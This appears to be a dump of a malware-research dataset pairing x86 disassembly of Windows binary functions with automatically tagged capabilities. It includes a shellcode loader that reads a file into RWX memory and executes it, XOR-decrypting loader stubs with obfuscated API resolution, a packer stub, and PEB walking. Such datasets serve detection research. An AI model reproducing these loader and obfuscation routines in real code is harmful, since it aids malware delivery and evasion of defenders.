joyce8/EMBER2024-capa huggingface dataset:
Function at 0x700de90
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
push esi
mov esi, ecx
mov eax, dword [esi + 0xc]
test eax, eax
je 0x700def4
cmp byte [esi + 0x10], 0
je 0x700deb2
push eax
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fflush]
mov eax, dword [esi + 0xc]
pop ecx
mov byte [esi + 0x10], 0
push edi
push eax
push dword [ebp + 0xc]
push 1
push dword [ebp + 8]
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fread]
push dword [esi + 0xc]
mov edi, eax
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_ferror]
add esp, 0x14
test eax, eax
je 0x700dee2
push dword [esi + 0xc]
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_feof]
pop ecx
test eax, eax
je 0x700defb
push dword [esi + 0xc]
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_ftell]
pop ecx
mov dword [esi + 8], eax
mov eax, edi
pop edi
jmp 0x700def6
xor eax, eax
pop esi
pop ebp
ret 8
push str.stream_read_error
push 0
call fcn.07003e2a
int3

Function at 0x700e170
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push esi
mov esi, ecx
mov eax, dword [esi + 4]
cmp byte [eax + 8], 0
jne 0x700e1c3
cmp dword [esi + 0xc], 0
je 0x700e1be
push dword [esi + 0xc]
push dword [ebp + 0xc]
push 1
push dword [ebp + 8]
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fwrite]
push dword [esi + 0xc]
mov byte [esi + 0x10], 1
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_ferror]
add esp, 0x14
test eax, eax
je 0x700e1b1
push str.stream_write_error
jmp 0x700e1c8
push dword [esi + 0xc]
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_ftell]
pop ecx
mov dword [esi + 8], eax
pop esi
pop ebp
ret 8
push str.Attempt_to_write_read_only_stream
push 0
call fcn.07003e2a
int3

Function at 0x1000114e
Capabilities:
Allocate or change rwx memory
Create process on windows
Execute shellcode via indirect call
Read file on windows

Disassembly:
push ebx
push esi
mov ebx, 0x10003028
xor esi, esi
push edi
cmp ebx, 0x10002034
jne 0x1000116a
push esi
push esi
push esi
push esi
call dword [sym.imp.USER32.dll_MessageBoxA]
xor eax, eax
mov word [0x1000302e], ax
movzx ecx, word [eax + 0x10002038]
mov word [eax + 0x10003028], cx
add eax, 2
cmp cx, si
jne 0x10001172
push 1
push esi
push esi
push ebx
push esi
push esi
call dword [sym.imp.SHELL32.dll_ShellExecuteW]
xor eax, eax
mov word [0x1000302e], ax
movzx ecx, word [eax + 0x1000203c]
mov word [eax + 0x10003028], cx
add eax, 2
cmp cx, si
jne 0x1000119d
push 0x40
mov eax, 0x1000
push eax
push eax
push esi
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov dword [0x10003018], eax
lea edi, [ebx - 2]
mov ax, word [edi + 2]
add edi, 2
cmp ax, si
jne 0x100011cb
push 5
pop ecx
mov esi, str.sktop.ini
rep movsd dword es:[edi], dword [esi]
xor esi, esi
push esi
push 0x80
push 3
push esi
push 1
push 0x80000000
push ebx
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [0x1000301c], eax
cmp eax, 0xffffffff
je 0x10001222
push esi
push 0x10003020
push 0x1000
push dword [0x10003018]
push eax
call dword [sym.imp.KERNEL32.dll_ReadFile]
call dword [0x10003018]
pop edi
pop esi
pop ebx
ret 0x10
Function at 0x1000d4bc
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x30
pushal
call 0x1000d4cb
pop dword [ebp - 0x20]
mov eax, 0xf7b4441b
add eax, 0x184c90b0
sub dword [ebp - 0x20], eax
mov dword [ebp - 0x30], 0xea632c1b
add dword [ebp - 0x30], 0x63ef1930
mov dword [ebp - 0x2c], 0x5792d050
sub dword [ebp - 0x2c], 0x255f840b
mov dword [ebp - 0x28], 0x7d2d65fc
add dword [ebp - 0x28], 0xcf1ede32
mov dword [ebp - 0x24], 0x1e204eff
add dword [ebp - 0x24], 0xe1dfb101
lea eax, [ebp - 0x30]
push eax
mov eax, 0x344921d2
sub eax, 0x24491052
add eax, dword [ebp - 0x20]
call dword [eax]
mov dword [ebp - 0x30], 0x8c049db
sub dword [ebp - 0x30], 0x944de085
mov dword [ebp - 0x2c], 0xf14686ac
add dword [ebp - 0x2c], 0x5025dac9
mov dword [ebp - 0x28], 0xbfb364b6
sub dword [ebp - 0x28], 0x5c43f84a
mov dword [ebp - 0x24], 0x3f5d0fbf
add dword [ebp - 0x24], 0xc0a2f041
lea ebx, [ebp - 0x30]
push ebx
push eax
mov eax, 0xbb69828e
add eax, 0x54968eea
add eax, dword [ebp - 0x20]
call dword [eax]
push 0x40
push 0x1000
push 0x3cc60
push 0
call eax
mov ecx, 0x4542
mov esi, eax
mov edi, 0x1001ce00
add edi, dword [ebp - 0x20]
mov edx, 0xf0670659
sub edx, 0x68b011d0
mov ebx, dword [edi]
sub dword [ebp - 0xc], 0xd39e7820
xor ebx, edx
sub dword [ebp - 4], 0xe8847e0b
mov dword [esi], ebx
sub dword [ebp - 4], 0x8934b743
add esi, 0xa718ebec
add esi, 0x58e71418
add edi, 0xdf982514
add edi, 0x2067daf0
loop 0x1000d5e1
add eax, 0xdac77f30
add eax, 0x253988ab
mov ebx, eax
add eax, 5
mov ecx, 0x10000000
add ecx, dword [ebp - 0x20]
call ebx
leave
ret

Function at 0x1000ef53
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x1000ef60]
jne 0x10017e82
ret
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x328
mov dword [0x1001a2f8], eax
mov dword [0x1001a2f4], ecx
mov dword [0x1001a2f0], edx
mov dword [0x1001a2ec], ebx
mov dword [0x1001a2e8], esi
mov dword [0x1001a2e4], edi
mov word [0x1001a310], ss
mov word [0x1001a304], cs
mov word [0x1001a2e0], ds
mov word [0x1001a2dc], es
mov word [0x1001a2d8], fs
mov word [0x1001a2d4], gs
pushfd
pop dword [0x1001a308]
mov eax, dword [ebp]
mov dword [0x1001a2fc], eax
mov eax, dword [ebp + 4]
mov dword [0x1001a300], eax
lea eax, [ebp + 8]
mov dword [0x1001a30c], eax
mov eax, dword [ebp - 0x320]
mov dword [0x1001a248], 0x10001
mov eax, dword [0x1001a300]
mov dword [0x1001a1fc], eax
mov dword [0x1001a1f0], 0xc0000409
mov dword [0x1001a1f4], 1
mov eax, dword [0x1000ef60]
mov dword [ebp - 0x328], eax
mov eax, dword [0x1001a044]
mov dword [ebp - 0x324], eax
call dword [sym.imp.kernel32.dll_IsDebuggerPresent]
mov dword [0x1001a240], eax
push 1
call sub.msvcr100.dll__crt_debugger_hook
pop ecx
push 0
call dword [sym.imp.kernel32.dll_SetUnhandledExceptionFilter]
push 0x10017f84
call dword [sym.imp.kernel32.dll_UnhandledExceptionFilter]
cmp dword [0x1001a240], 0
jne 0x10017f6e
push 1
call sub.msvcr100.dll__crt_debugger_hook
pop ecx
push 0xc0000409
call dword [sym.imp.kernel32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.kernel32.dll_TerminateProcess]
leave
ret
Function at 0x10001873
Capabilities:
Enumerate pe sections

Disassembly:
mov ecx, dword [esp + 8]
push esi
push edi
xor edi, edi
movzx eax, word [ecx + 0x14]
movzx esi, word [ecx + 6]
test esi, esi
lea eax, [eax + ecx + 0x18]
jbe 0x100018ae
mov ecx, dword [eax + 8]
test ecx, ecx
jne 0x10001895
mov ecx, dword [eax + 0x10]
mov edx, dword [eax + 0xc]
cmp dword [esp + 0xc], edx
jb 0x100018a6
add edx, ecx
cmp dword [esp + 0xc], edx
jb 0x100018b0
inc edi
add eax, 0x28
cmp edi, esi
jb 0x1000188b
xor eax, eax
pop edi
pop esi
ret

Function at 0x100020d0
Capabilities:
Contain obfuscated stackstrings

Disassembly:
call dword [eax - 0x18]
insb byte es:[edi], dx
idiv edi
call [ecx + 0x50]
push dword [ebp + 0x18]
push dword [ebp + 0x14]
call fcn.100017f8
add esp, 0xc
mov dword [ebp - 0x68c], eax
call dword [ebp - 0x68c]
mov dword [ebp - 0x674], eax
mov dword [ebp - 0x384], 4
and byte [ebp - 0x334], 0
push 0x40
pop ecx
xor eax, eax
lea edi, [ebp - 0x333]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov dword [ebp - 0x670], 4
add al, 0
add byte [eax], al

Function at 0x10002120
Capabilities:
Contain obfuscated stackstrings

Disassembly:
add al, 0
add byte [eax], al
and byte [ebp - 0x3c4], 0
and byte [ebp - 0x3c3], 0
mov byte [ebp - 0x3c2], 0x99
and byte [ebp - 0x3c1], 0
mov byte [ebp - 0x3c0], 0x21
mov byte [ebp - 0x3bf], 3
mov byte [ebp - 0x3be], 0x12
mov byte [ebp - 0x3bd], 0x2b
mov byte [ebp - 0x3bc], 9
mov byte [ebp - 0x3bb], 2
mov byte [ebp - 0x3ba], 0x13
mov byte [ebp - 0x3b9], 0xa
mov byte [ebp - 0x3b8], 3
mov byte [ebp - 0x3b7], 0x20
mov byte [ebp - 0x3b6], 0xf
mov byte [ebp - 0x3b5], 0xa
mov byte [ebp - 0x3b4], 3
mov byte [ebp - 0x3b3], 0x28
mov byte [ebp - 0x3b2], 7
mov byte [ebp - 0x3b1], 0xb
mov byte [ebp - 0x3b0], 3
mov byte [ebp - 0x3af], 0x27
mov byte [ebp - 0x3ae], 0x66
lea eax, [ebp - 0x3c4]
push eax
call fcn.10001843
pop ecx
push eax
push dword [ebp + 0x18]
push dword [ebp + 0x14]
call fcn.100017f8
add esp, 0xc
or al, 0x89
test eax, ecx
cli
invalid
inc dword [eax - 0x3eb5b]
inc dword [eax]
and byte [ebp - 0x3eb], 0
mov byte [ebp - 0x3ea], 0x11
and byte [ebp - 0x3e9], 0
mov byte [ebp - 0x3e8], 0xa9
mov byte [ebp - 0x3e7], 0x8b
mov byte [ebp - 0x3e6], 0x9a
mov byte [ebp - 0x3e5], 0xa3
mov byte [ebp - 0x3e4], 0x81
mov byte [ebp - 0x3e3], 0x8a
invalid
test dword [esi], ebx
Function at 0x5d1247ab
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x3c
pushal
call 0x5d1247ba
pop dword [ebp - 0x2c]
mov eax, 0x5d1247ba
sub dword [ebp - 0x2c], eax
mov dword [ebp - 0x3c], 0x674f11a6
sub dword [ebp - 0x3c], 0x18fccc5b
mov dword [ebp - 0x38], 0x5a949bae
sub dword [ebp - 0x38], 0x28614f69
mov dword [ebp - 0x34], 0xa672630c
sub dword [ebp - 0x34], 0x5a261ede
mov dword [ebp - 0x30], 0x69ab9846
add dword [ebp - 0x30], 0x965467ba
lea eax, [ebp - 0x3c]
push eax
mov eax, sym.imp.kernel32.dll_LoadLibraryA
add eax, dword [ebp - 0x2c]
call dword [eax]
mov dword [ebp - 0x3c], 0xbc43b454
sub dword [ebp - 0x3c], 0x47d14afe
mov dword [ebp - 0x38], 0x4493cb11
sub dword [ebp - 0x38], 0x327699c
mov dword [ebp - 0x34], 0xf9c2ef3f
add dword [ebp - 0x34], 0x69ac7d2d
mov dword [ebp - 0x30], 0x9491cfee
add dword [ebp - 0x30], 0x6b6e3012
lea ebx, [ebp - 0x3c]
push ebx
push eax
mov eax, sym.imp.kernel32.dll_GetProcAddress
add eax, dword [ebp - 0x2c]
call dword [eax]
push 0x40
push 0x1000
push 0x37441
push 0
call eax
mov ecx, 0x47e4
xor esi, esi
add esi, eax
mov edi, 0x17d278f0
sub edi, 0xbabf4af0
add edi, dword [ebp - 0x2c]
mov ebx, 0xb4f8f870
sub dword [ebp - 0x1c], 0x686ffec6
mov edx, dword [edi]
sub dword [ebp - 0x1c], 0x38007743
sub edx, ebx
xor dword [ebp - 0x28], ecx
mov dword [esi], edx
mov dword [ebp - 8], 0xc8063a14
add esi, 4
add edi, 4
loop 0x5d1248c3
add eax, 0x11263
mov ebx, eax
add eax, 0xff981167
add eax, 0x67ee9e
mov ecx, sym.ATL70.DLL_Ordinal_16
add ecx, dword [ebp - 0x2c]
call ebx
leave
ret

Function at 0x5d128eef
Capabilities:
Extract resource via kernel32 functions

Disassembly:
sub esp, 0xc
push esi
call fcn.5d1247ab
mov esi, dword [esp + 0x14]
or dword [esp + 8], 0xffffffff
push 5
push dword [esp + 0x1c]
push esi
call fcn.5d121b6b
add esp, 0xc
test eax, eax
mov dword [esp + 0xc], eax
je 0x5d128fcf
push ebx
push ebp
push edi
push 0xf0
push dword [esp + 0x28]
push esi
call fcn.5d121b6b
mov edi, dword [sym.imp.kernel32.dll_LoadResource]
mov ebx, dword [sym.imp.kernel32.dll_LockResource]
add esp, 0xc
xor ebp, ebp
test eax, eax
je 0x5d128f4c
push eax
push esi
call edi
push eax
call ebx
mov ebp, eax
push dword [esp + 0x18]
and dword [esp + 0x14], 0
push esi
call edi
test eax, eax
je 0x5d128fb1
push eax
call ebx
mov edi, eax
test edi, edi
je 0x5d128fb1
push ebp
push edi
call fcn.5d1247ab
pop ecx
pop ecx
push dword [esp + 0x30]
mov ebx, eax
push dword [esp + 0x30]
push dword [esp + 0x30]
push ebx
push esi
call dword [sym.imp.USER32.dll_DialogBoxIndirectParamW]
push eax
mov dword [esp + 0x18], eax
call fcn.5d121b7e
test al, al
pop ecx
jne 0x5d128f9d
call dword [sym.imp.kernel32.dll_GetLastError]
mov dword [esp + 0x10], eax
cmp ebx, edi
je 0x5d128fbb
push ebx
call dword [sym.imp.kernel32.dll_GlobalHandle]
push eax
call dword [sym.imp.kernel32.dll_GlobalFree]
jmp 0x5d128fbb
call dword [sym.imp.kernel32.dll_GetLastError]
mov dword [esp + 0x10], eax
cmp dword [esp + 0x10], 0
pop edi
pop ebp
pop ebx
je 0x5d128fcf
push dword [esp + 4]
call dword [sym.imp.kernel32.dll_SetLastError]
mov eax, dword [esp + 8]
pop esi
add esp, 0xc
ret
Function at 0x5d128fd8
Capabilities:
Extract resource via kernel32 functions

Disassembly:
sub esp, 0xc
push esi
call fcn.5d1247ab
mov esi, dword [esp + 0x14]
or dword [esp + 8], 0xffffffff
push 5
push dword [esp + 0x1c]
push esi
call fcn.5d121b58
add esp, 0xc
test eax, eax
mov dword [esp + 0xc], eax
je 0x5d1290b8
push ebx
push ebp
push edi
push 0xf0
push dword [esp + 0x28]
push esi
call fcn.5d121b58
mov edi, dword [sym.imp.kernel32.dll_LoadResource]
mov ebx, dword [sym.imp.kernel32.dll_LockResource]
add esp, 0xc
xor ebp, ebp
test eax, eax
je 0x5d129035
push eax
push esi
call edi
push eax
call ebx
mov ebp, eax
push dword [esp + 0x18]
and dword [esp + 0x14], 0
push esi
call edi
test eax, eax
je 0x5d12909a
push eax
call ebx
mov edi, eax
test edi, edi
je 0x5d12909a
push ebp
push edi
call fcn.5d1247ab
pop ecx
pop ecx
push dword [esp + 0x30]
mov ebx, eax
push dword [esp + 0x30]
push dword [esp + 0x30]
push ebx
push esi
call dword [sym.imp.USER32.dll_DialogBoxIndirectParamA]
push eax
mov dword [esp + 0x18], eax
call fcn.5d121b7e
test al, al
pop ecx
jne 0x5d129086
call dword [sym.imp.kernel32.dll_GetLastError]
mov dword [esp + 0x10], eax
cmp ebx, edi
je 0x5d1290a4
push ebx
call dword [sym.imp.kernel32.dll_GlobalHandle]
push eax
call dword [sym.imp.kernel32.dll_GlobalFree]
jmp 0x5d1290a4
call dword [sym.imp.kernel32.dll_GetLastError]
mov dword [esp + 0x10], eax
cmp dword [esp + 0x10], 0
pop edi
pop ebp
pop ebx
je 0x5d1290b8
push dword [esp + 4]
call dword [sym.imp.kernel32.dll_SetLastError]
mov eax, dword [esp + 8]
pop esi
add esp, 0xc
ret

Function at 0x5d1290c1
Capabilities:
Extract resource via kernel32 functions

Disassembly:
sub esp, 0xc
push ebp
push esi
call fcn.5d1247ab
mov esi, dword [esp + 0x18]
push 5
push dword [esp + 0x20]
xor ebp, ebp
push esi
mov dword [esp + 0x18], ebp
call fcn.5d121b6b
add esp, 0xc
cmp eax, ebp
mov dword [esp + 0x10], eax
je 0x5d129198
push ebx
push edi
push 0xf0
push dword [esp + 0x28]
push esi
call fcn.5d121b6b
mov edi, dword [sym.imp.kernel32.dll_LoadResource]
mov ebx, dword [sym.imp.kernel32.dll_LockResource]
add esp, 0xc
cmp eax, ebp
je 0x5d12911d
push eax
push esi
call edi
push eax
call ebx
mov ebp, eax
push dword [esp + 0x18]
and dword [esp + 0x14], 0
push esi
call edi
test eax, eax
je 0x5d12917b
push eax
call ebx
mov edi, eax
test edi, edi
je 0x5d12917b
push ebp
push edi
call fcn.5d1247ab
pop ecx
pop ecx
push dword [esp + 0x30]
mov ebx, eax
push dword [esp + 0x30]
push dword [esp + 0x30]
push ebx
push esi
call dword [sym.imp.USER32.dll_CreateDialogIndirectParamW]
test eax, eax
mov dword [esp + 0x14], eax
jne 0x5d129167
call dword [sym.imp.kernel32.dll_GetLastError]
mov dword [esp + 0x10], eax
cmp ebx, edi
je 0x5d129185
push ebx
call dword [sym.imp.kernel32.dll_GlobalHandle]
push eax
call dword [sym.imp.kernel32.dll_GlobalFree]
jmp 0x5d129185
call dword [sym.imp.kernel32.dll_GetLastError]
mov dword [esp + 0x10], eax
cmp dword [esp + 0x10], 0
pop edi
pop ebx
je 0x5d129198
push dword [esp + 8]
call dword [sym.imp.kernel32.dll_SetLastError]
mov eax, dword [esp + 0xc]
pop esi
pop ebp
add esp, 0xc
ret
Function at 0x5d1291a2
Capabilities:
Extract resource via kernel32 functions

Disassembly:
sub esp, 0xc
push ebp
push esi
call fcn.5d1247ab
mov esi, dword [esp + 0x18]
push 5
push dword [esp + 0x20]
xor ebp, ebp
push esi
mov dword [esp + 0x18], ebp
call fcn.5d121b58
add esp, 0xc
cmp eax, ebp
mov dword [esp + 0x10], eax
je 0x5d129279
push ebx
push edi
push 0xf0
push dword [esp + 0x28]
push esi
call fcn.5d121b58
mov edi, dword [sym.imp.kernel32.dll_LoadResource]
mov ebx, dword [sym.imp.kernel32.dll_LockResource]
add esp, 0xc
cmp eax, ebp
je 0x5d1291fe
push eax
push esi
call edi
push eax
call ebx
mov ebp, eax
push dword [esp + 0x18]
and dword [esp + 0x14], 0
push esi
call edi
test eax, eax
je 0x5d12925c
push eax
call ebx
mov edi, eax
test edi, edi
je 0x5d12925c
push ebp
push edi
call fcn.5d1247ab
pop ecx
pop ecx
push dword [esp + 0x30]
mov ebx, eax
push dword [esp + 0x30]
push dword [esp + 0x30]
push ebx
push esi
call dword [sym.imp.USER32.dll_CreateDialogIndirectParamA]
test eax, eax
mov dword [esp + 0x14], eax
jne 0x5d129248
call dword [sym.imp.kernel32.dll_GetLastError]
mov dword [esp + 0x10], eax
cmp ebx, edi
je 0x5d129266
push ebx
call dword [sym.imp.kernel32.dll_GlobalHandle]
push eax
call dword [sym.imp.kernel32.dll_GlobalFree]
jmp 0x5d129266
call dword [sym.imp.kernel32.dll_GetLastError]
mov dword [esp + 0x10], eax
cmp dword [esp + 0x10], 0
pop edi
pop ebx
je 0x5d129279
push dword [esp + 8]
call dword [sym.imp.kernel32.dll_SetLastError]
mov eax, dword [esp + 0xc]
pop esi
pop ebp
add esp, 0xc
ret

Function at 0x5d1299d4
Capabilities:
Check os version

Disassembly:
push ebp
lea ebp, [esp - 0x78]
sub esp, 0x94
push esi
mov esi, ecx
call fcn.5d1299c6
and byte [esi + 0xc], 0
mov eax, sym.ATL70.DLL_Ordinal_16
push 0x94
mov dword [esi + 8], eax
mov dword [esi + 4], eax
lea eax, [ebp - 0x1c]
push 0
push eax
mov dword [esi], 0x3c
call fcn.5d129e50
add esp, 0xc
lea eax, [ebp - 0x1c]
push eax
mov dword [ebp - 0x1c], 0x94
call dword [sym.imp.kernel32.dll_GetVersionExA]
cmp dword [ebp - 0xc], 2
jne 0x5d129a2e
cmp dword [ebp - 0x18], 5
jb 0x5d129a46
jmp 0x5d129a42
cmp dword [ebp - 0xc], 1
jne 0x5d129a46
cmp dword [ebp - 0x18], 4
ja 0x5d129a42
jne 0x5d129a46
cmp dword [ebp - 0x14], 0
jbe 0x5d129a46
mov byte [esi + 0xc], 1
lea eax, [esi + 0x18]
push eax
mov dword [esi + 0x10], 0x700
mov dword [esi + 0x14], 0x5d12e234
call dword [sym.imp.kernel32.dll_InitializeCriticalSection]
mov eax, esi
pop esi
add ebp, 0x78
leave
ret
Function at 0x401a7e
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x28
pushal
call 0x401a8d
pop dword [ebp - 0x18]
mov eax, 0xdf61108f
sub eax, 0xdf20f602
sub dword [ebp - 0x18], eax
mov dword [ebp - 0x28], 0xda896d9a
add dword [ebp - 0x28], 0x73c8d7b1
mov dword [ebp - 0x24], 0x22e56a55
sub dword [ebp - 0x24], 0xf0b21e10
mov dword [ebp - 0x20], 0x93184022
sub dword [ebp - 0x20], 0x46cbfbf4
mov dword [ebp - 0x1c], 0xfdb1d7f
sub dword [ebp - 0x1c], 0xfdb1d7f
lea eax, [ebp - 0x28]
push eax
mov eax, sym.imp.kernel32.dll_LoadLibraryA
add eax, dword [ebp - 0x18]
call dword [eax]
mov dword [ebp - 0x28], 0x924d97b8
add dword [ebp - 0x28], 0xe224d19e
mov dword [ebp - 0x24], 0xee18e7a6
sub dword [ebp - 0x24], 0xacac8631
mov dword [ebp - 0x20], 0xc2003d5f
sub dword [ebp - 0x20], 0x5e90d0f3
mov dword [ebp - 0x1c], 0x5d87bf92
add dword [ebp - 0x1c], 0xa278406e
lea ebx, [ebp - 0x28]
push ebx
push eax
mov eax, 0x855e5241
add eax, 0x7ae54df7
add eax, dword [ebp - 0x18]
call dword [eax]
push 0x40
push 0x1000
push 0x4003b
push 0
call eax
mov ecx, 0x4f61
xor edx, edx
add edx, eax
mov edi, 0x3a495e2d
sub edi, 0x3a03e42d
add edi, dword [ebp - 0x18]
mov esi, 0x32bdd214
sub esi, 0x29be53e0
mov ebx, dword [edi]
mov dword [ebp - 8], 0xb2e56373
xor ebx, esi
xor dword [ebp - 0xc], 0xce0dcf72
mov dword [edx], ebx
xor dword [ebp - 0x14], 0x57129801
add edx, 4
add edi, 0x62d475be
add edi, 0x9d2b8a46
loop 0x401ba6
add eax, 0x633d64b5
add eax, 0x9cc3cba2
mov ebx, eax
add eax, 5
mov ecx, 0x400000
add ecx, dword [ebp - 0x18]
call ebx
leave
ret
Function at 0x430000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
nop
mov eax, section..text
nop
nop
nop
push 4
nop
nop
nop
pop edi
nop
nop
nop
nop
nop
nop
cmp eax, 0
nop
nop
nop
je 0x430072
nop
nop
mov ebx, 0x408ed0
mov ecx, ebx
nop
nop
nop
nop
nop
nop
nop
nop
sub ecx, eax
nop
xor edx, edx
nop
nop
nop
nop
nop
push eax
nop
nop
nop
nop
nop
mov eax, ecx
nop
nop
div edi
nop
nop
nop
nop
nop
nop
xchg ecx, eax
nop
nop
nop
nop
nop
nop
pop eax
nop
nop
nop
mov esi, 0x6e8c3f84
nop
nop
nop
xor dword [eax], esi
nop
nop
add eax, edi
nop
nop
nop
nop
nop
nop
nop
loop 0x430060
nop
mov eax, section..data
nop
nop
nop
cmp eax, 0
nop
nop
nop
je 0x4300d2
nop
nop
mov ebx, 0x42e1d0
nop
nop
nop
nop
mov ecx, ebx
nop
nop
nop
sub ecx, eax
nop
xor edx, edx
nop
nop
nop
nop
nop
nop
nop
nop
nop
push eax
mov eax, ecx
nop
nop
nop
nop
nop
nop
div edi
nop
nop
nop
nop
nop
nop
nop
xchg ecx, eax
nop
pop eax
nop
nop
nop
nop
nop
mov esi, 0x4f371bf1
nop
xor dword [eax], esi
nop
nop
nop
add eax, edi
nop
nop
nop
nop
nop
nop
loop 0x4300c0
nop
nop
popal
nop
nop
nop
nop
nop
jmp 0x401219
Function at 0x409df4
Capabilities:
Set file attributes

Disassembly:
push ebx
push esi
push edi
mov edi, edx
mov esi, eax
xor ebx, ebx
push edi
mov eax, esi
call fcn.00404050
push eax
call sub.kernel32.dll_SetFileAttributesA
test eax, eax
jne 0x409e16
call sub.kernel32.dll_GetLastError_1
mov ebx, eax
mov eax, ebx
pop edi
pop esi
pop ebx
ret

Function at 0x40c648
Capabilities:
Get geographical location

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffff00
push ebx
push esi
mov esi, ecx
mov ebx, dword [ebp + 8]
push pe_nt_image_headers32
lea ecx, [ebp - 0x100]
push ecx
push edx
push eax
call sub.kernel32.dll_GetLocaleInfoA_1
test eax, eax
jle 0x40c681
mov ecx, eax
dec ecx
lea edx, [ebp - 0x100]
mov eax, ebx
call fcn.00403cf4
jmp 0x40c68a
mov eax, ebx
mov edx, esi
call fcn.00403ca8
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4

Function at 0x40c694
Capabilities:
Get geographical location

Disassembly:
push ebx
push esi
push edi
push ecx
mov ebx, ecx
mov esi, edx
mov edi, eax
push 2
lea eax, [esp + 4]
push eax
push esi
push edi
call sub.kernel32.dll_GetLocaleInfoA_1
test eax, eax
jle 0x40c6b5
mov al, byte [esp]
jmp 0x40c6b7
mov eax, ebx
pop edx
pop edi
pop esi
pop ebx
ret
Function at 0x4124e8
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push eax
push dword [ebp - 0x38c]
push dword [ebp - 0x748]
push dword [ebp - 0x380]
call dword [ebp - 0x730]
push dword [ebp - 0x380]
call dword [ebp - 0x680]
jmp 0x412514
and dword [ebp - 0x37c], 0
push dword [ebp - 0x3a0]
call dword [ebp - 0x704]
mov dword [ebp - 0x3a4], eax
cmp dword [ebp - 0x3a4], 0
je 0x41255b
lea eax, [ebp - 0x714]
push eax
call fcn.004104d5
pop ecx
push eax
push dword [ebp - 0x3a4]
push dword [ebp + 0x14]
call fcn.0041048a
add esp, 0xc
mov dword [ebp - 0x37c], eax
cmp dword [ebp - 0x37c], 0
je 0x412566
jmp 0x41256b
jmp 0x411e67

Function at 0x412674
Capabilities:
Access peb ldr_data

Disassembly:
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov esi, dword [eax + 0x1c]
lodsd eax, dword [esi]
cmp byte [eax + 0x1c], 0x18
je 0x412689
xchg esi, eax

Function at 0x41aab4
Capabilities:
Encode data using xor

Disassembly:
mov ecx, edx
mov edx, eax
xor eax, eax
rol ax, 5
xor al, byte [edx]
inc edx
dec ecx
jne 0x41aaba
ret

Function at 0x41cfdc
Capabilities:
Get system information on windows

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffd4
mov dword [ebp - 8], edx
mov dword [ebp - 4], eax
lea eax, [ebp - 0x2c]
push eax
call sub.kernel32.dll_GetSystemInfo
mov edx, dword [ebp - 4]
mov ecx, dword [ebp - 8]
dec ecx
js 0x41d02d
lea eax, [ebp - 0x2c]
cmp word [eax + 0x20], 3
je 0x41d014
mov eax, dword [edx + ecx*4]
bswap eax
shr eax, 8
mov dword [edx + ecx*4], eax
dec ecx
jns 0x41d004
jmp 0x41d02d
push ebx
xor ebx, ebx
mov eax, dword [edx + ecx*4]
mov bh, al
mov bl, ah
shr eax, 0x10
shl ebx, 8
mov bl, al
mov dword [edx + ecx*4], ebx
dec ecx
jns 0x41d015
pop ebx
mov esp, ebp
pop ebp
ret